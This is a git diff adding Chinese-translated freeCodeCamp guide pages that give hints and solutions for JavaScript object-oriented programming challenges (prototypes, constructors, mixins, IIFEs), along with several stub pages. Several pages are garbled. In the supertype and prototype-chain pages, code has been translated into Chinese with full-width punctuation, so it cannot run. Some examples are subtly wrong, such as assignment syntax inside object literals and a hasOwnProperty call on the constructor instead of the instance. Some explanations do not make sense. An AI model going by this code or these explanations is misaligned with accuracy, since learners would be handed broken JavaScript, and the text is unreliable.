+  functionName: function(){ 
+ 
+  }, 
+ } 
+```
+
+现在尝试解决挑战！
+
+  
+
+## Spoiler-Alert解决方案未来！
+
+  
+
+## 解决方案1：
+
+```javascript
+function Dog(name) { 
+  this.name = name; 
+ } 
+ Dog.prototype = { 
+  // Add your code below this line 
+  numLegs: 2, 
+  eat: function(){ 
+    console.log('nom nom nom'); 
+  }, 
+  describe: function(){ 
+    console.log("My name is " + this.name); 
+  } 
+ } 
+```
+
+## 代码说明：
+
+我们将原型变量分配给一个新对象。 然后我们声明numLegs属性并给它一个值2。
+
+接下来我们创建两个函数“吃”和“描述”。 现在记住对象中的函数是与属性具有相同语法的方法。 您的名称后跟一个值。该值是函数，名称是函数的名称。  
+
+## 解决方案2：
+
+```javascript
+function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ Dog.prototype = { 
+  // Add your code below this line 
+  numLegs: 2, 
+  eat(){ 
+    console.log('nom nom nom'); 
+  }, 
+  describe(){ 
+    console.log("My name is " + this.name); 
+  } 
+ }; 
+```
+
+## 代码说明：
+
+这个解决方案和最后一个解决方案之间唯一不同的是我们缩短了“吃”和“描述”功能的语法。 我们通过删除“：”和“功能”一词来做到这一点。
+
+使用ES6，我们可以这样做。
+
+你可以在这里阅读： [参考](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-basic-javascript-object/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-basic-javascript-object/index.md
new file mode 100644
index 0000000000..a1df8697bc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-basic-javascript-object/index.md
@@ -0,0 +1,19 @@
+---
+title: Create a Basic JavaScript Object
+localeTitle: 创建一个基本的JavaScript对象
+---
+## 创建一个基本的JavaScript对象
+
+### 方法：
+
+这个问题的灵魂或多或少与给出的例子相同。 给`dog`对象两个新属性- `name`和`numLegs` -并把它们分别设置为一个字符串和一个数字，。
+
+### 解：
+
+```javascript
+let dog = { 
+  name: "George", 
+  numLegs: 4 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-method-on-an-object/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-method-on-an-object/index.md
new file mode 100644
index 0000000000..0452763505
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-method-on-an-object/index.md
@@ -0,0 +1,34 @@
+---
+title: Create a Method on an Object
+localeTitle: 在对象上创建方法
+---
+## 在对象上创建方法
+
+### 方法：
+
+必须在对象本身内初始化对象函数。这在以下代码中进行了演示。
+
+```javascript
+let obj = { 
+  property1 = 1, 
+ 
+  function1: function() { 
+    //Code to be exectued 
+  } 
+ }; 
+```
+
+### 解：
+
+```javascript
+let dog = { 
+  name: "Spot", 
+  numLegs: 4, 
+  sayLegs: function() { 
+    return "This dog has " + dog.numLegs + " legs."; 
+  } 
+ }; 
+ 
+ dog.sayLegs(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/define-a-constructor-function/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/define-a-constructor-function/index.md
new file mode 100644
index 0000000000..280166ab79
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/define-a-constructor-function/index.md
@@ -0,0 +1,20 @@
+---
+title: Define a Constructor Function
+localeTitle: 定义构造函数
+---
+## 定义构造函数
+
+### 方法：
+
+`Dog()`函数应该以与示例中给出的`Bird()`函数完全相同的格式编写。只需将`Bird` with `Dog`替换为通过所有测试用例。
+
+### 解：
+
+```javascript
+function Dog() { 
+  this.name = "Geogre", 
+  this.color = "White", 
+  this.numLegs = 4; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/extend-constructors-to-receive-arguments/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/extend-constructors-to-receive-arguments/index.md
new file mode 100644
index 0000000000..393ba19d2f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/extend-constructors-to-receive-arguments/index.md
@@ -0,0 +1,21 @@
+---
+title: Extend Constructors to Receive Arguments
+localeTitle: 扩展构造函数以接收参数
+---
+## 扩展构造函数以接收参数
+
+### 方法：
+
+就像在`Bird()`示例中一样， `Dog()`函数必须使用两个参数 - `name`和`color` 。然后必须使用`this`关键字在函数内初始化名称和颜色。最终属性 - `numLegs`设置为4，因为该函数不接受numLegs参数。
+
+### 解：
+
+```javascript
+function Dog(name, color) { 
+  this.name = name; 
+  this.color = color; 
+  this.numLegs = 4; 
+ } 
+ let terrier = new Dog("George","White"); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/index.md
new file mode 100644
index 0000000000..670b7c25b0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Oriented Programming
+localeTitle: 面向对象编程
+---
+## 面向对象编程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/inherit-behaviors-from-a-supertype/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/inherit-behaviors-from-a-supertype/index.md
new file mode 100644
index 0000000000..ba084e4fd6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/inherit-behaviors-from-a-supertype/index.md
@@ -0,0 +1,30 @@
+---
+title: Inherit Behaviors from a Supertype
+localeTitle: 从超类型继承行为
+---
+## 从超类型继承行为
+
+### 方法
+
+要通过此挑战，只需使用以下示例中所示的`Object.create()`方法创建新的`duck`和`beagle`对象。
+
+\`\`\`的JavaScript
+
+let animal = Object.create（Animal.prototype）;
+```
+### Solution 
+```
+
+JavaScript的
+
+function Animal（）{}
+
+Animal.prototype = { 构造函数：Animal， 吃：function（）{ console.log（“nom nom nom”）; } };
+
+//在此行下方添加代码
+
+let duck = Object.create（Animal.prototype）; //改变这一行 让beagle = Object.create（Animal.prototype）;; //改变这一行
+
+duck.eat（）; //应打印“nom nom nom” beagle.eat（）; //应打印“nom nom nom”
+
+\`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/iterate-over-all-properties/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/iterate-over-all-properties/index.md
new file mode 100644
index 0000000000..e2428f5d93
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/iterate-over-all-properties/index.md
@@ -0,0 +1,35 @@
+---
+title: Iterate Over All Properties
+localeTitle: 迭代所有属性
+---
+## 迭代所有属性
+
+### 方法
+
+该方法是使用`for-in-loop`迭代对象中的每个属性。然后在循环内部检查属性是`own-property`还是`prototype` ，并将其放在`ownProps[]`数组或`prototypeProps[]`数组中。请记住`push`属性`push`送到`beagle`对象而不是`Dog`对象以传递所有测试用例。
+
+### 解
+
+```javascript
+function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ Dog.prototype.numLegs = 4; 
+ 
+ let beagle = new Dog("Snoopy"); 
+ 
+ let ownProps = []; 
+ let prototypeProps = []; 
+ 
+ // Add your code below this line 
+ for (let property in beagle) { 
+  if(Dog.hasOwnProperty(property)) { 
+    ownProps.push(property) 
+  } 
+  else { 
+    prototypeProps.push(property) 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/make-code-more-reusable-with-the-this-keyword/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/make-code-more-reusable-with-the-this-keyword/index.md
new file mode 100644
index 0000000000..3947562781
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/make-code-more-reusable-with-the-this-keyword/index.md
@@ -0,0 +1,22 @@
+---
+title: Make Code More Reusable with the this Keyword
+localeTitle: 使用此关键字使代码更可重用
+---
+## 使用此关键字使代码更可重用
+
+### 方法：
+
+这个挑战只是展示了`this`关键字的强大功能。用`dog.numLegs`替换`dog.numLegs`通过直接引用此对象`this.numLegs`强化我们的代码。 [developer.mozilla.org](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this)有很多例子来确定`this`关键字的效果。
+
+### 解：
+
+```javascript
+let dog = { 
+  name: "Spot", 
+  numLegs: 4, 
+  sayLegs: function() {return "This dog has " + this.numLegs + " legs.";} 
+ }; 
+ 
+ dog.sayLegs(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/override-inherited-methods/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/override-inherited-methods/index.md
new file mode 100644
index 0000000000..4ef0898600
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/override-inherited-methods/index.md
@@ -0,0 +1,14 @@
+---
+title: Override Inherited Methods
+localeTitle: 覆盖继承的方法
+---
+## 覆盖继承的方法
+
+# 解
+
+```javascript
+Penguin.prototype.fly = function() { 
+    return  "Alas, this is a flightless bird."; 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/remember-to-set-the-constructor-property-when-changing-the-prototype/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/remember-to-set-the-constructor-property-when-changing-the-prototype/index.md
new file mode 100644
index 0000000000..84b454b23b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/remember-to-set-the-constructor-property-when-changing-the-prototype/index.md
@@ -0,0 +1,25 @@
+---
+title: Remember to Set the Constructor Property when Changing the Prototype
+localeTitle: 请记住在更改原型时设置构造函数属性
+---
+## 请记住在更改原型时设置构造函数属性
+
+*   在将原型设置为新对象时，请记住定义构造函数属性。
+
+# 解
+
+```javascript
+Dog.prototype = { 
+ 
+  constructor: Dog, // Solution 
+ 
+  numLegs: 2, 
+  eat: function() { 
+    console.log("nom nom nom"); 
+  }, 
+  describe: function() { 
+    console.log("My name is " + this.name); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/reset-an-inherited-constructor-property/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/reset-an-inherited-constructor-property/index.md
new file mode 100644
index 0000000000..de1a4410cc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/reset-an-inherited-constructor-property/index.md
@@ -0,0 +1,32 @@
+---
+title: Reset an Inherited Constructor Property
+localeTitle: 重置继承的构造函数属性
+---
+## 重置继承的构造函数属性
+
+### 方法
+
+`duck`和`beagle`对象已被编程为继承`supertypes`构造函数属性。要覆盖这两行代码，必须编写将构造函数设置为所需的构造函数`Bird`和`Dog` 。以下代码演示了如何实现此目的。
+
+```javascript
+Bird.prototype.constructor = Bird; 
+```
+
+### 解
+
+```javascript
+function Animal() { } 
+ function Bird() { } 
+ function Dog() { } 
+ 
+ Bird.prototype = Object.create(Animal.prototype); 
+ Dog.prototype = Object.create(Animal.prototype); 
+ 
+ // Add your code below this line 
+ Bird.prototype.constructor = Bird; 
+ Dog.prototype.constructor = Dog; 
+ 
+ let duck = new Bird(); 
+ let beagle = new Dog(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/set-the-childs-prototype-to-an-instance-of-the-parent/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/set-the-childs-prototype-to-an-instance-of-the-parent/index.md
new file mode 100644
index 0000000000..9e053ee9a1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/set-the-childs-prototype-to-an-instance-of-the-parent/index.md
@@ -0,0 +1,35 @@
+---
+title: Set the Child's Prototype to an Instance of the Parent
+localeTitle: 将Child的Prototype设置为Parent的实例
+---
+## 将Child的Prototype设置为Parent的实例
+
+### 方法
+
+这个挑战与上一个挑战没有什么不同，因为您必须创建一个继承自`supertype`的对象。只有这次子类型`Dog`才会继承`Animal`超类型。 只需创建一个`Dog.prototype`的新实例，如下例所示。
+
+```javascript
+Bird.prototype = Object.create(Animal.prototype); 
+```
+
+### 解
+
+```javascript
+function Animal() { } 
+ 
+ Animal.prototype = { 
+  constructor: Animal, 
+  eat: function() { 
+    console.log("nom nom nom"); 
+  } 
+ }; 
+ 
+ function Dog() { } 
+ 
+ // Add your code below this line 
+ Dog.prototype = Object.create(Animal.prototype); 
+ 
+ let beagle = new Dog(); 
+ beagle.eat();  // Should print "nom nom nom" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-own-properties/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-own-properties/index.md
new file mode 100644
index 0000000000..06f0e45dd4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-own-properties/index.md
@@ -0,0 +1,25 @@
+---
+title: Understand Own Properties
+localeTitle: 了解自己的属性
+---
+## 了解自己的属性
+
+### 方法：
+
+在给出的示例代码中，您将看到一个新数组`ownProps[]` intialised，然后是`for...in`语句循环遍历`duck`的属性，然后使用`push()`语句填充新数组。对于`canary`对象必须遵循相同的方法。
+
+只需将'for ... in'语句中的`duck`对象替换为`canary`对象即可传递所有测试用例。
+
+### 解：
+
+```javascript
+let canary = new Bird("Tweety"); 
+ let ownProps = []; 
+ // Add your code below this line 
+ for(let property in canary) { 
+  if(canary.hasOwnProperty(property)) { 
+    ownProps.push(property); 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-constructor-property/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-constructor-property/index.md
new file mode 100644
index 0000000000..b0b6fb45fe
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-constructor-property/index.md
@@ -0,0 +1,28 @@
+---
+title: Understand the Constructor Property
+localeTitle: 理解构造函数属性
+---
+## 理解构造函数属性
+
+### 方法
+
+只需完成类似于给定示例的功能。使用`if-statement`来测试`candidate`是否是`Dog` 。
+
+### 解
+
+```javascript
+function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ // Add your code below this line 
+ function joinDogFraternity(candidate) { 
+  if(candidate.constructor === Dog) { 
+    return true; 
+  } 
+  else { 
+    return false; 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-immediately-invoked-function-expression-iife/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-immediately-invoked-function-expression-iife/index.md
new file mode 100644
index 0000000000..5dc6aea46e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-immediately-invoked-function-expression-iife/index.md
@@ -0,0 +1,18 @@
+---
+title: Understand the Immediately Invoked Function Expression (IIFE)
+localeTitle: 理解立即调用的函数表达式（IIFE）
+---
+## 理解立即调用的函数表达式（IIFE）
+
+### 方法
+
+第一个测试用例要求您使该函数匿名。为此，只需删除函数的名称，如示例中所示。然后必须将该函数用大括号括起来，最后用另一组大括号来立即调用该函数。
+
+### 解
+
+```javascript
+(function() { 
+  console.log("A cozy nest is ready"); 
+ })(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-prototype-chain/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-prototype-chain/index.md
new file mode 100644
index 0000000000..42dc34d3f6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-prototype-chain/index.md
@@ -0,0 +1,17 @@
+---
+title: Understand the Prototype Chain
+localeTitle: 理解原型链
+---
+## 理解原型链
+
+### 解
+
+您的代码应该显示Object.prototype是Dog.prototype的原型
+
+\`\`\`\`javascript function Dog（name）{ this.name = name; }
+
+让beagle =新狗（“史努比”）;
+
+Dog.prototype.isPrototypeOf（小猎犬）; // =>是的
+
+//修复下面的代码，使其评估为true Object.prototype.isPrototypeOf（Dog.prototype）; \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md
new file mode 100644
index 0000000000..1784e7b0b7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand Where an Object’s Prototype Comes From
+localeTitle: 了解对象原型的来源
+---
+## 了解对象原型的来源
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-constructor-to-create-objects/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-constructor-to-create-objects/index.md
new file mode 100644
index 0000000000..cbcaa06bd6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-constructor-to-create-objects/index.md
@@ -0,0 +1,22 @@
+---
+title: Use a Constructor to Create Objects
+localeTitle: 使用构造函数创建对象
+---
+## 使用构造函数创建对象
+
+### 方法：
+
+我们在最后的挑战中看到了如何创建构造函数。现在我们可以简单地调用此函数来创建一个具有已在构造函数中定义的属性的新对象。只需初始化一个调用`Dog()`构造函数的新变量`hound` 。
+
+### 解：
+
+```javascript
+function Dog() { 
+  this.name = "Rupert"; 
+  this.color = "brown"; 
+  this.numLegs = 4; 
+ } 
+ // Add your code below this line 
+ let hound = new Dog(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-mixin-to-add-common-behavior-between-unrelated-objects/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-mixin-to-add-common-behavior-between-unrelated-objects/index.md
new file mode 100644
index 0000000000..b69f933bd1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-mixin-to-add-common-behavior-between-unrelated-objects/index.md
@@ -0,0 +1,33 @@
+---
+title: Use a Mixin to Add Common Behavior Between Unrelated Objects
+localeTitle: 使用Mixin在不相关的对象之间添加常见行为
+---
+## 使用Mixin在不相关的对象之间添加常见行为
+
+### 方法
+
+就像`flyMixin`函数一样，必须使用新的`glideMixin`函数来接受`bird`和`boat`对象作为参数。使用与`flyMixin`函数相同的语法创建此新函数，然后在两个对象上调用该函数。
+
+### 解
+
+```javascript
+let bird = { 
+  name: "Donald", 
+  numLegs: 2 
+ }; 
+ 
+ let boat = { 
+  name: "Warrior", 
+  type: "race-boat" 
+ }; 
+ 
+ // Add your code below this line 
+ let glideMixin = function(obj) { 
+    obj.glide = function() { 
+        console.log("Gliding!"); 
+    } 
+ }; 
+ glideMixin(bird); 
+ glideMixin(boat); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-an-iife-to-create-a-module/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-an-iife-to-create-a-module/index.md
new file mode 100644
index 0000000000..21d7d33447
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-an-iife-to-create-a-module/index.md
@@ -0,0 +1,45 @@
+---
+title: Use an IIFE to Create a Module
+localeTitle: 使用IIFE创建模块
+---
+## 使用IIFE创建模块
+
+### 方法
+
+两个`Mixin`都必须包含在一个新的`funModule`所以一个`funModule`的起点是到目前为止注释掉所有的代码。
+
+```javascript
+/*let isCuteMixin = function(obj) { 
+  obj.isCute = function() { 
+    return true; 
+  }; 
+ }; 
+ let singMixin = function(obj) { 
+  obj.sing = function() { 
+    console.log("Singing to an awesome tune"); 
+  }; 
+ }; 
+ */ 
+```
+
+然后在下面开始编写新的`funModule`代码。在新模块中，您需要编写一个return语句来返回两个`Mixin`代码块。只需将原始的`Mixin`代码块复制到新的模块代码中，但请记住将两个mixin与a分开`,`
+
+### 解
+
+```javascript
+let funModule = (function() { 
+  return { 
+    isCuteMixin: function(obj) { 
+      obj.isCute = function() { 
+        return true; 
+      }; 
+    }, 
+    singMixin: function(obj) { 
+      obj.sing = function() { 
+         console.log("Singing to an awesome tune"); 
+      }; 
+    } 
+  } 
+ })(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-closure-to-protect-properties-within-an-object-from-being-modified-externally/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-closure-to-protect-properties-within-an-object-from-being-modified-externally/index.md
new file mode 100644
index 0000000000..a0df197afc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-closure-to-protect-properties-within-an-object-from-being-modified-externally/index.md
@@ -0,0 +1,23 @@
+---
+title: Use Closure to Protect Properties Within an Object from Being Modified Externally
+localeTitle: 使用闭包保护对象内的属性不被外部修改
+---
+## 使用闭包保护对象内的属性不被外部修改
+
+### 方法
+
+就像在给出的示例中一样，不是使用`this`关键字声明`weight`变量，而是必须使用`let`关键字将其声明为私有变量。这样它只能在`Bird`函数内访问。然后必须在`Bird`函数内添加`getWeight`方法以访问`weight`变量。
+
+### 解
+
+```javascript
+function Bird() { 
+  let weight = 15; 
+ 
+  this.getWeight = function() { 
+    return weight; 
+  }; 
+ 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-dot-notation-to-access-the-properties-of-an-object/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-dot-notation-to-access-the-properties-of-an-object/index.md
new file mode 100644
index 0000000000..9dd5eb0f19
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-dot-notation-to-access-the-properties-of-an-object/index.md
@@ -0,0 +1,33 @@
+---
+title: Use Dot Notation to Access the Properties of an Object
+localeTitle: 使用点表示法访问对象的属性
+---
+## 使用点表示法访问对象的属性
+
+### 方法：
+
+以下代码将简单地从`obj`对象中打印`property1` 。
+
+```javascript
+let obj = { 
+  property1 = 1, 
+  property2 = 2 
+ }; 
+ 
+ console.log(obj.property1); 
+```
+
+遵循此逻辑，使用`console.log`操作将`property1`和`property2`都打印到屏幕。
+
+### 解：
+
+```javascript
+let dog = { 
+  name: "Spot", 
+  numLegs: 4 
+ }; 
+ // Add your code below this line 
+ console.log(dog.name); 
+ console.log(dog.numLegs); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-inheritance-so-you-dont-repeat-yourself/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-inheritance-so-you-dont-repeat-yourself/index.md
new file mode 100644
index 0000000000..96bb886785
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-inheritance-so-you-dont-repeat-yourself/index.md
@@ -0,0 +1,37 @@
+---
+title: Use Inheritance So You Don't Repeat Yourself
+localeTitle: 使用继承，所以你不要重复自己
+---
+## 使用继承，所以你不要重复自己
+
+### 解
+
+从Cat.prototype和Bear.prototype中删除“eat”方法并将其添加到Animal.prototype中。
+
+```javascript
+function Cat(name) { 
+  this.name = name; 
+ }; 
+ 
+ Cat.prototype = { 
+  constructor: Cat 
+ }; 
+ 
+ function Bear(name) { 
+  this.name = name; 
+ }; 
+ 
+ Bear.prototype = { 
+  constructor: Bear 
+ }; 
+ 
+ function Animal() { }; 
+ 
+ Animal.prototype = { 
+  constructor: Animal, 
+  eat: function() { 
+    console.log("nom nom nom"); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-prototype-properties-to-reduce-duplicate-code/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-prototype-properties-to-reduce-duplicate-code/index.md
new file mode 100644
index 0000000000..e918f848ce
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-prototype-properties-to-reduce-duplicate-code/index.md
@@ -0,0 +1,31 @@
+---
+title: Use Prototype Properties to Reduce Duplicate Code
+localeTitle: 使用原型属性来减少重复代码
+---
+## 使用原型属性来减少重复代码
+
+### 方法：
+
+`prototype`属性允许我们从原始代码块外部向对象构造函数添加新属性。 prototype属性还允许您向对象构造函数添加新函数。以下代码演示了如何在对象上使用`.prototype`在构造函数中创建新属性。
+
+#### 例：
+
+```javascript
+Obj.prototype.newProperty = "New Property!"; 
+```
+
+使用此逻辑，只需为`numLegs`创建一个新的`prototype`属性。测试用例可以通过更换被传递`Bird`与对象`Dog`给出的示例对象- `Bird.prototype.numLegs = 2;`
+
+### 解：
+
+```javascript
+function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ Dog.prototype.numLegs = 4; 
+ 
+ // Add your code above this line 
+ let beagle = new Dog("Snoopy"); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/verify-an-objects-constructor-with-instanceof/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/verify-an-objects-constructor-with-instanceof/index.md
new file mode 100644
index 0000000000..20ca7843ca
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/verify-an-objects-constructor-with-instanceof/index.md
@@ -0,0 +1,32 @@
+---
+title: Verify an Object's Constructor with instanceof
+localeTitle: 使用instanceof验证Object的构造函数
+---
+## 使用instanceof验证Object的构造函数
+
+### 方法：
+
+就像在上一次挑战中一样，使用给定的构造函数创建一个新对象 - `myHouse` 。
+
+#### 例：
+
+```javascript
+let hound = new Dog(); 
+```
+
+请记住为`House`功能提供一个参数来初始化房间数量。然后只需调用`instanceof`运算符即可在新的House上返回true。
+
+### 解：
+
+```javascript
+/* jshint expr: true */ 
+ 
+ function House(numBedrooms) { 
+  this.numBedrooms = numBedrooms; 
+ } 
+ 
+ // Add your code below this line 
+ let myHouse = new House(5); 
+ myHouse instanceof House; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md
new file mode 100644
index 0000000000..142465d19b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md
@@ -0,0 +1,9 @@
+---
+title: Check for All or None
+localeTitle: 检查全部或无
+---
+## 检查全部或无
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/extract-matches/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/extract-matches/index.md
new file mode 100644
index 0000000000..3fc9672178
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/extract-matches/index.md
@@ -0,0 +1,26 @@
+---
+title: Extract Matches
